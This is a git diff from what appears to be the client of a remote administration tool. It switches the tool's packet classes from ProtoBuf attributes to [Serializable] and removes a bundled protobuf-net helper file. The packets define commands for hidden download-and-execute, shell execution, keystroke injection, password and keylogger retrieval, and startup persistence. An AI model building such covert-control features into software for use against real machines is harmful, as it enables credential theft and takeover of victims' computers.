[ProtoMember(2)] public bool RunHidden { get; set; } public DoDownloadAndExecute() diff --git a/Client/Core/Packets/ServerPackets/DoDownloadFile.cs b/Client/Core/Packets/ServerPackets/DoDownloadFile.cs index 7cdf7d7e..d0945fc5 100644 --- a/Client/Core/Packets/ServerPackets/DoDownloadFile.cs +++ b/Client/Core/Packets/ServerPackets/DoDownloadFile.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadFile : IPacket { - [ProtoMember(1)] public string RemotePath { get; set; } - [ProtoMember(2)] public int ID { get; set; } public DoDownloadFile() diff --git a/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs b/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs index 5d4c9724..c46ed96e 100644 --- a/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs +++ b/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadFileCancel : IPacket { - [ProtoMember(1)] public int ID { get; set; } public DoDownloadFileCancel() diff --git a/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs b/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs index a1a557dc..c6a06348 100644 --- a/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs +++ b/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoKeyboardEvent : IPacket { - [ProtoMember(1)] public byte Key { get; set; } - [ProtoMember(2)] public bool KeyDown { get; set; } public DoKeyboardEvent() diff --git a/Client/Core/Packets/ServerPackets/DoMouseEvent.cs b/Client/Core/Packets/ServerPackets/DoMouseEvent.cs index 962e4be6..51ed601c 100644 --- a/Client/Core/Packets/ServerPackets/DoMouseEvent.cs +++ b/Client/Core/Packets/ServerPackets/DoMouseEvent.cs @@ -1,25 +1,20 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Enums; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoMouseEvent : IPacket { - [ProtoMember(1)] public MouseAction Action { get; set; } - [ProtoMember(2)] public bool IsMouseDown { get; set; } - [ProtoMember(3)] public int X { get; set; } - [ProtoMember(4)] public int Y { get; set; } - [ProtoMember(5)] public int MonitorIndex { get; set; } public DoMouseEvent() diff --git a/Client/Core/Packets/ServerPackets/DoPathDelete.cs b/Client/Core/Packets/ServerPackets/DoPathDelete.cs index 5289b461..4b83d19d 100644 --- a/Client/Core/Packets/ServerPackets/DoPathDelete.cs +++ b/Client/Core/Packets/ServerPackets/DoPathDelete.cs @@ -1,16 +1,14 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Enums; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoPathDelete : IPacket { - [ProtoMember(1)] public string Path { get; set; } - [ProtoMember(2)] public PathType PathType { get; set; } public DoPathDelete() diff --git a/Client/Core/Packets/ServerPackets/DoPathRename.cs b/Client/Core/Packets/ServerPackets/DoPathRename.cs index d56db7f2..567598a0 100644 --- a/Client/Core/Packets/ServerPackets/DoPathRename.cs +++ b/Client/Core/Packets/ServerPackets/DoPathRename.cs @@ -1,19 +1,16 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Enums; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoPathRename : IPacket { - [ProtoMember(1)] public string Path { get; set; } - [ProtoMember(2)] public string NewPath { get; set; } - [ProtoMember(3)] public PathType PathType { get; set; } public DoPathRename() diff --git a/Client/Core/Packets/ServerPackets/DoProcessKill.cs b/Client/Core/Packets/ServerPackets/DoProcessKill.cs index 6097bc6e..9ae9d832 100644 --- a/Client/Core/Packets/ServerPackets/DoProcessKill.cs +++ b/Client/Core/Packets/ServerPackets/DoProcessKill.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoProcessKill : IPacket { - [ProtoMember(1)] public int PID { get; set; } public DoProcessKill() diff --git a/Client/Core/Packets/ServerPackets/DoProcessStart.cs b/Client/Core/Packets/ServerPackets/DoProcessStart.cs index 31f9ed6f..39d218f7 100644 --- a/Client/Core/Packets/ServerPackets/DoProcessStart.cs +++ b/Client/Core/Packets/ServerPackets/DoProcessStart.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoProcessStart : IPacket { - [ProtoMember(1)] public string Processname { get; set; } public DoProcessStart() diff --git a/Client/Core/Packets/ServerPackets/DoShellExecute.cs b/Client/Core/Packets/ServerPackets/DoShellExecute.cs index 9a837c86..f866a192 100644 --- a/Client/Core/Packets/ServerPackets/DoShellExecute.cs +++ b/Client/Core/Packets/ServerPackets/DoShellExecute.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShellExecute : IPacket { - [ProtoMember(1)] public string Command { get; set; } public DoShellExecute() diff --git a/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs b/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs index 332879ac..d82550a0 100644 --- a/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs +++ b/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs @@ -1,21 +1,17 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShowMessageBox : IPacket { - [ProtoMember(1)] public string Caption { get; set; } - [ProtoMember(2)] public string Text { get; set; } - [ProtoMember(3)] public string MessageboxButton { get; set; } - [ProtoMember(4)] public string MessageboxIcon { get; set; } public DoShowMessageBox() diff --git a/Client/Core/Packets/ServerPackets/DoShutdownAction.cs b/Client/Core/Packets/ServerPackets/DoShutdownAction.cs index 375f678d..6ad0e0f6 100644 --- a/Client/Core/Packets/ServerPackets/DoShutdownAction.cs +++ b/Client/Core/Packets/ServerPackets/DoShutdownAction.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Enums; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoShutdownAction : IPacket { - [ProtoMember(1)] public ShutdownAction Action { get; set; } public DoShutdownAction() diff --git a/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs b/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs index 794779a8..e896e654 100644 --- a/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs +++ b/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoStartupItemAdd : IPacket { - [ProtoMember(1)] public string Name { get; set; } - [ProtoMember(2)] public string Path { get; set; } - [ProtoMember(3)] public int Type { get; set; } public DoStartupItemAdd() diff --git a/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs b/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs index 83c9b234..3967f16d 100644 --- a/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs +++ b/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoStartupItemRemove : IPacket { - [ProtoMember(1)] public string Name { get; set; } - [ProtoMember(2)] public string Path { get; set; } - [ProtoMember(3)] public int Type { get; set; } public DoStartupItemRemove() diff --git a/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs b/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs index 858cd704..525fc658 100644 --- a/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs +++ b/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoUploadAndExecute : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string FileName { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } - [ProtoMember(6)] public bool RunHidden { get; set; } public DoUploadAndExecute() diff --git a/Client/Core/Packets/ServerPackets/DoUploadFile.cs b/Client/Core/Packets/ServerPackets/DoUploadFile.cs index e6d6b070..2f728d36 100644 --- a/Client/Core/Packets/ServerPackets/DoUploadFile.cs +++ b/Client/Core/Packets/ServerPackets/DoUploadFile.cs @@ -1,24 +1,19 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoUploadFile : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string RemotePath { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } public DoUploadFile() diff --git a/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs b/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs index 15f55878..5ee6d993 100644 --- a/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs +++ b/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoVisitWebsite : IPacket { - [ProtoMember(1)] public string URL { get; set; } - [ProtoMember(2)] public bool Hidden { get; set; } public DoVisitWebsite() diff --git a/Client/Core/Packets/ServerPackets/GetAuthentication.cs b/Client/Core/Packets/ServerPackets/GetAuthentication.cs index 750ff6ce..ac4b8aa1 100644 --- a/Client/Core/Packets/ServerPackets/GetAuthentication.cs +++ b/Client/Core/Packets/ServerPackets/GetAuthentication.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetAuthentication : IPacket { public GetAuthentication() diff --git a/Client/Core/Packets/ServerPackets/GetDesktop.cs b/Client/Core/Packets/ServerPackets/GetDesktop.cs index 44527868..e0d599ff 100644 --- a/Client/Core/Packets/ServerPackets/GetDesktop.cs +++ b/Client/Core/Packets/ServerPackets/GetDesktop.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDesktop : IPacket { - [ProtoMember(1)] public int Quality { get; set; } - [ProtoMember(2)] public int Monitor { get; set; } public GetDesktop() diff --git a/Client/Core/Packets/ServerPackets/GetDirectory.cs b/Client/Core/Packets/ServerPackets/GetDirectory.cs index 5a283077..ada24b1a 100644 --- a/Client/Core/Packets/ServerPackets/GetDirectory.cs +++ b/Client/Core/Packets/ServerPackets/GetDirectory.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDirectory : IPacket { - [ProtoMember(1)] public string RemotePath { get; set; } public GetDirectory() diff --git a/Client/Core/Packets/ServerPackets/GetDrives.cs b/Client/Core/Packets/ServerPackets/GetDrives.cs index af3ae9eb..921ad55a 100644 --- a/Client/Core/Packets/ServerPackets/GetDrives.cs +++ b/Client/Core/Packets/ServerPackets/GetDrives.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetDrives : IPacket { public GetDrives() diff --git a/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs b/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs index 63490d89..f4205e4c 100644 --- a/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs +++ b/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetKeyloggerLogs : IPacket { public GetKeyloggerLogs() { } @@ -13,4 +13,4 @@ public void Execute(Client client) client.Send(this); } } -} +} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetMonitors.cs b/Client/Core/Packets/ServerPackets/GetMonitors.cs index 6f428a6d..c51b11b3 100644 --- a/Client/Core/Packets/ServerPackets/GetMonitors.cs +++ b/Client/Core/Packets/ServerPackets/GetMonitors.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetMonitors : IPacket { public GetMonitors() diff --git a/Client/Core/Packets/ServerPackets/GetPasswords.cs b/Client/Core/Packets/ServerPackets/GetPasswords.cs index 540f2d6b..5442e071 100644 --- a/Client/Core/Packets/ServerPackets/GetPasswords.cs +++ b/Client/Core/Packets/ServerPackets/GetPasswords.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetPasswords : IPacket { public GetPasswords() diff --git a/Client/Core/Packets/ServerPackets/GetProcesses.cs b/Client/Core/Packets/ServerPackets/GetProcesses.cs index bd652e68..9e7ae8ea 100644 --- a/Client/Core/Packets/ServerPackets/GetProcesses.cs +++ b/Client/Core/Packets/ServerPackets/GetProcesses.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetProcesses : IPacket { public GetProcesses() diff --git a/Client/Core/Packets/ServerPackets/GetStartupItems.cs b/Client/Core/Packets/ServerPackets/GetStartupItems.cs index d32f1757..e91ba606 100644 --- a/Client/Core/Packets/ServerPackets/GetStartupItems.cs +++ b/Client/Core/Packets/ServerPackets/GetStartupItems.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetStartupItems : IPacket { public GetStartupItems() diff --git a/Client/Core/Packets/ServerPackets/GetSystemInfo.cs b/Client/Core/Packets/ServerPackets/GetSystemInfo.cs index cf158bd6..75fe24e6 100644 --- a/Client/Core/Packets/ServerPackets/GetSystemInfo.cs +++ b/Client/Core/Packets/ServerPackets/GetSystemInfo.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class GetSystemInfo : IPacket { public GetSystemInfo() diff --git a/Client/Core/Packets/UnknownPacket.cs b/Client/Core/Packets/UnknownPacket.cs deleted file mode 100644 index edb723ba..00000000 --- a/Client/Core/Packets/UnknownPacket.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ProtoBuf; -using xClient.Core.Networking; - -namespace xClient.Core.Packets -{ - [ProtoContract] - public class UnknownPacket : IPacket - { - [ProtoMember(1)] - public IPacket Packet { get; set; } - - public UnknownPacket() - { - } - - public UnknownPacket(IPacket packet) - { - Packet = packet; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/BclHelpers.cs b/Client/Core/ProtoBuf/BclHelpers.cs deleted file mode 100644 index baf5a203..00000000 --- a/Client/Core/ProtoBuf/BclHelpers.cs +++ /dev/null @@ -1,588 +0,0 @@ -using System; -using System.Reflection; - -namespace ProtoBuf -{ - internal enum TimeSpanScale - { - Days = 0, - Hours = 1, - Minutes = 2, - Seconds = 3, - Milliseconds = 4, - Ticks = 5, - - MinMax = 15 - } - - /// - /// Provides support for common .NET types that do not have a direct representation - /// in protobuf, using the definitions from bcl.proto - /// - public -#if FX11 - sealed -#else - static -#endif - class BclHelpers - { - /// - /// Creates a new instance of the specified type, bypassing the constructor. - /// - /// The type to create - /// The new instance - /// If the platform does not support constructor-skipping - public static object GetUninitializedObject(Type type) - { -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - return System.Runtime.Serialization.FormatterServices.GetUninitializedObject(type); -#else - throw new NotSupportedException("Constructor-skipping is not supported on this platform"); -#endif - } - -#if FX11 - private BclHelpers() { } // not a static class for C# 1.2 reasons -#endif - private const int FieldTimeSpanValue = 0x01, FieldTimeSpanScale = 0x02; - - internal static readonly DateTime EpochOrigin = new DateTime(1970, 1, 1, 0, 0, 0, 0); - - /// - /// Writes a TimeSpan to a protobuf stream - /// - public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest) - { - if (dest == null) throw new ArgumentNullException("dest"); - long value; - switch (dest.WireType) - { - case WireType.String: - case WireType.StartGroup: - TimeSpanScale scale; - value = timeSpan.Ticks; - if (timeSpan == TimeSpan.MaxValue) - { - value = 1; - scale = TimeSpanScale.MinMax; - } - else if (timeSpan == TimeSpan.MinValue) - { - value = -1; - scale = TimeSpanScale.MinMax; - } - else if (value%TimeSpan.TicksPerDay == 0) - { - scale = TimeSpanScale.Days; - value /= TimeSpan.TicksPerDay; - } - else if (value%TimeSpan.TicksPerHour == 0) - { - scale = TimeSpanScale.Hours; - value /= TimeSpan.TicksPerHour; - } - else if (value%TimeSpan.TicksPerMinute == 0) - { - scale = TimeSpanScale.Minutes; - value /= TimeSpan.TicksPerMinute; - } - else if (value%TimeSpan.TicksPerSecond == 0) - { - scale = TimeSpanScale.Seconds; - value /= TimeSpan.TicksPerSecond; - } - else if (value%TimeSpan.TicksPerMillisecond == 0) - { - scale = TimeSpanScale.Milliseconds; - value /= TimeSpan.TicksPerMillisecond; - } - else - { - scale = TimeSpanScale.Ticks; - } - - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - - if (value != 0) - { - ProtoWriter.WriteFieldHeader(FieldTimeSpanValue, WireType.SignedVariant, dest); - ProtoWriter.WriteInt64(value, dest); - } - if (scale != TimeSpanScale.Days) - { - ProtoWriter.WriteFieldHeader(FieldTimeSpanScale, WireType.Variant, dest); - ProtoWriter.WriteInt32((int) scale, dest); - } - ProtoWriter.EndSubItem(token, dest); - break; - case WireType.Fixed64: - ProtoWriter.WriteInt64(timeSpan.Ticks, dest); - break; - default: - throw new ProtoException("Unexpected wire-type: " + dest.WireType.ToString()); - } - } - - /// - /// Parses a TimeSpan from a protobuf stream - /// - public static TimeSpan ReadTimeSpan(ProtoReader source) - { - long ticks = ReadTimeSpanTicks(source); - if (ticks == long.MinValue) return TimeSpan.MinValue; - if (ticks == long.MaxValue) return TimeSpan.MaxValue; - return TimeSpan.FromTicks(ticks); - } - - /// - /// Parses a DateTime from a protobuf stream - /// - public static DateTime ReadDateTime(ProtoReader source) - { - long ticks = ReadTimeSpanTicks(source); - if (ticks == long.MinValue) return DateTime.MinValue; - if (ticks == long.MaxValue) return DateTime.MaxValue; - return EpochOrigin.AddTicks(ticks); - } - - /// - /// Writes a DateTime to a protobuf stream - /// - public static void WriteDateTime(DateTime value, ProtoWriter dest) - { - if (dest == null) throw new ArgumentNullException("dest"); - TimeSpan delta; - switch (dest.WireType) - { - case WireType.StartGroup: - case WireType.String: - if (value == DateTime.MaxValue) - { - delta = TimeSpan.MaxValue; - } - else if (value == DateTime.MinValue) - { - delta = TimeSpan.MinValue; - } - else - { - delta = value - EpochOrigin; - } - break; - default: - delta = value - EpochOrigin; - break; - } - WriteTimeSpan(delta, dest); - } - - private static long ReadTimeSpanTicks(ProtoReader source) - { - switch (source.WireType) - { - case WireType.String: - case WireType.StartGroup: - SubItemToken token = ProtoReader.StartSubItem(source); - int fieldNumber; - TimeSpanScale scale = TimeSpanScale.Days; - long value = 0; - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldTimeSpanScale: - scale = (TimeSpanScale) source.ReadInt32(); - break; - case FieldTimeSpanValue: - source.Assert(WireType.SignedVariant); - value = source.ReadInt64(); - break; - default: - source.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, source); - switch (scale) - { - case TimeSpanScale.Days: - return value*TimeSpan.TicksPerDay; - case TimeSpanScale.Hours: - return value*TimeSpan.TicksPerHour; - case TimeSpanScale.Minutes: - return value*TimeSpan.TicksPerMinute; - case TimeSpanScale.Seconds: - return value*TimeSpan.TicksPerSecond; - case TimeSpanScale.Milliseconds: - return value*TimeSpan.TicksPerMillisecond; - case TimeSpanScale.Ticks: - return value; - case TimeSpanScale.MinMax: - switch (value) - { - case 1: - return long.MaxValue; - case -1: - return long.MinValue; - default: - throw new ProtoException("Unknown min/max value: " + value.ToString()); - } - default: - throw new ProtoException("Unknown timescale: " + scale.ToString()); - } - case WireType.Fixed64: - return source.ReadInt64(); - default: - throw new ProtoException("Unexpected wire-type: " + source.WireType.ToString()); - } - } - - private const int FieldDecimalLow = 0x01, FieldDecimalHigh = 0x02, FieldDecimalSignScale = 0x03; - - /// - /// Parses a decimal from a protobuf stream - /// - public static decimal ReadDecimal(ProtoReader reader) - { - ulong low = 0; - uint high = 0; - uint signScale = 0; - - int fieldNumber; - SubItemToken token = ProtoReader.StartSubItem(reader); - while ((fieldNumber = reader.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldDecimalLow: - low = reader.ReadUInt64(); - break; - case FieldDecimalHigh: - high = reader.ReadUInt32(); - break; - case FieldDecimalSignScale: - signScale = reader.ReadUInt32(); - break; - default: - reader.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, reader); - - if (low == 0 && high == 0) return decimal.Zero; - - int lo = (int) (low & 0xFFFFFFFFL), - mid = (int) ((low >> 32) & 0xFFFFFFFFL), - hi = (int) high; - bool isNeg = (signScale & 0x0001) == 0x0001; - byte scale = (byte) ((signScale & 0x01FE) >> 1); - return new decimal(lo, mid, hi, isNeg, scale); - } - - /// - /// Writes a decimal to a protobuf stream - /// - public static void WriteDecimal(decimal value, ProtoWriter writer) - { - int[] bits = decimal.GetBits(value); - ulong a = ((ulong) bits[1]) << 32, b = ((ulong) bits[0]) & 0xFFFFFFFFL; - ulong low = a | b; - uint high = (uint) bits[2]; - uint signScale = (uint) (((bits[3] >> 15) & 0x01FE) | ((bits[3] >> 31) & 0x0001)); - - SubItemToken token = ProtoWriter.StartSubItem(null, writer); - if (low != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalLow, WireType.Variant, writer); - ProtoWriter.WriteUInt64(low, writer); - } - if (high != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalHigh, WireType.Variant, writer); - ProtoWriter.WriteUInt32(high, writer); - } - if (signScale != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalSignScale, WireType.Variant, writer); - ProtoWriter.WriteUInt32(signScale, writer); - } - ProtoWriter.EndSubItem(token, writer); - } - - private const int FieldGuidLow = 1, FieldGuidHigh = 2; - - /// - /// Writes a Guid to a protobuf stream - /// - public static void WriteGuid(Guid value, ProtoWriter dest) - { - byte[] blob = value.ToByteArray(); - - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - if (value != Guid.Empty) - { - ProtoWriter.WriteFieldHeader(FieldGuidLow, WireType.Fixed64, dest); - ProtoWriter.WriteBytes(blob, 0, 8, dest); - ProtoWriter.WriteFieldHeader(FieldGuidHigh, WireType.Fixed64, dest); - ProtoWriter.WriteBytes(blob, 8, 8, dest); - } - ProtoWriter.EndSubItem(token, dest); - } - - /// - /// Parses a Guid from a protobuf stream - /// - public static Guid ReadGuid(ProtoReader source) - { - ulong low = 0, high = 0; - int fieldNumber; - SubItemToken token = ProtoReader.StartSubItem(source); - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldGuidLow: - low = source.ReadUInt64(); - break; - case FieldGuidHigh: - high = source.ReadUInt64(); - break; - default: - source.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, source); - if (low == 0 && high == 0) return Guid.Empty; - uint a = (uint) (low >> 32), b = (uint) low, c = (uint) (high >> 32), d = (uint) high; - return new Guid((int) b, (short) a, (short) (a >> 16), - (byte) d, (byte) (d >> 8), (byte) (d >> 16), (byte) (d >> 24), - (byte) c, (byte) (c >> 8), (byte) (c >> 16), (byte) (c >> 24)); - } - - - private const int - FieldExistingObjectKey = 1, - FieldNewObjectKey = 2, - FieldExistingTypeKey = 3, - FieldNewTypeKey = 4, - FieldTypeName = 8, - FieldObject = 10; - - /// - /// Optional behaviours that introduce .NET-specific functionality - /// - [Flags] - public enum NetObjectOptions : byte - { - /// - /// No special behaviour - /// - None = 0, - - /// - /// Enables full object-tracking/full-graph support. - /// - AsReference = 1, - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - DynamicType = 2, - - /// - /// If false, the constructor for the type is bypassed during deserialization, meaning any field initializers - /// or other initialization code is skipped. - /// - UseConstructor = 4, - - /// - /// Should the object index be reserved, rather than creating an object promptly - /// - LateSet = 8 - } - - /// - /// Reads an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc. - /// - public static object ReadNetObject(object value, ProtoReader source, int key, Type type, - NetObjectOptions options) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - SubItemToken token = ProtoReader.StartSubItem(source); - int fieldNumber; - int newObjectKey = -1, newTypeKey = -1, tmp; - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldExistingObjectKey: - tmp = source.ReadInt32(); - value = source.NetCache.GetKeyedObject(tmp); - break; - case FieldNewObjectKey: - newObjectKey = source.ReadInt32(); - break; - case FieldExistingTypeKey: - tmp = source.ReadInt32(); - type = (Type) source.NetCache.GetKeyedObject(tmp); - key = source.GetTypeKey(ref type); - break; - case FieldNewTypeKey: - newTypeKey = source.ReadInt32(); - break; - case FieldTypeName: - string typeName = source.ReadString(); - type = source.DeserializeType(typeName); - if (type == null) - { - throw new ProtoException("Unable to resolve type: " + typeName + - " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)"); - } - if (type == typeof (string)) - { - key = -1; - } - else - { - key = source.GetTypeKey(ref type); - if (key < 0) - throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); - } - break; - case FieldObject: - bool isString = type == typeof (string); - bool wasNull = value == null; - bool lateSet = wasNull && (isString || ((options & NetObjectOptions.LateSet) != 0)); - - if (newObjectKey >= 0 && !lateSet) - { - if (value == null) - { - source.TrapNextObject(newObjectKey); - } - else - { - source.NetCache.SetKeyedObject(newObjectKey, value); - } - if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type); - } - object oldValue = value; - if (isString) - { - value = source.ReadString(); - } - else - { - value = ProtoReader.ReadTypedObject(oldValue, key, source, type); - } - - if (newObjectKey >= 0) - { - if (wasNull && !lateSet) - { - // this both ensures (via exception) that it *was* set, and makes sure we don't shout - // about changed references - oldValue = source.NetCache.GetKeyedObject(newObjectKey); - } - if (lateSet) - { - source.NetCache.SetKeyedObject(newObjectKey, value); - if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type); - } - } - if (newObjectKey >= 0 && !lateSet && !ReferenceEquals(oldValue, value)) - { - throw new ProtoException( - "A reference-tracked object changed reference during deserialization"); - } - if (newObjectKey < 0 && newTypeKey >= 0) - { - // have a new type, but not a new object - source.NetCache.SetKeyedObject(newTypeKey, type); - } - break; - default: - source.SkipField(); - break; - } - } - if (newObjectKey >= 0 && (options & NetObjectOptions.AsReference) == 0) - { - throw new ProtoException("Object key in input stream, but reference-tracking was not expected"); - } - ProtoReader.EndSubItem(token, source); - - return value; -#endif - } - - /// - /// Writes an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc. - /// - public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (dest == null) throw new ArgumentNullException("dest"); - bool dynamicType = (options & NetObjectOptions.DynamicType) != 0, - asReference = (options & NetObjectOptions.AsReference) != 0; - WireType wireType = dest.WireType; - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - bool writeObject = true; - if (asReference) - { - bool existing; - int objectKey = dest.NetCache.AddObjectKey(value, out existing); - ProtoWriter.WriteFieldHeader(existing ? FieldExistingObjectKey : FieldNewObjectKey, WireType.Variant, - dest); - ProtoWriter.WriteInt32(objectKey, dest); - if (existing) - { - writeObject = false; - } - } - - if (writeObject) - { - if (dynamicType) - { - bool existing; - Type type = value.GetType(); - - if (!(value is string)) - { - key = dest.GetTypeKey(ref type); - if (key < 0) - throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); - } - int typeKey = dest.NetCache.AddObjectKey(type, out existing); - ProtoWriter.WriteFieldHeader(existing ? FieldExistingTypeKey : FieldNewTypeKey, WireType.Variant, - dest); - ProtoWriter.WriteInt32(typeKey, dest); - if (!existing) - { - ProtoWriter.WriteFieldHeader(FieldTypeName, WireType.String, dest); - ProtoWriter.WriteString(dest.SerializeType(type), dest); - } - } - ProtoWriter.WriteFieldHeader(FieldObject, wireType, dest); - if (value is string) - { - ProtoWriter.WriteString((string) value, dest); - } - else - { - ProtoWriter.WriteObject(value, key, dest); - } - } - 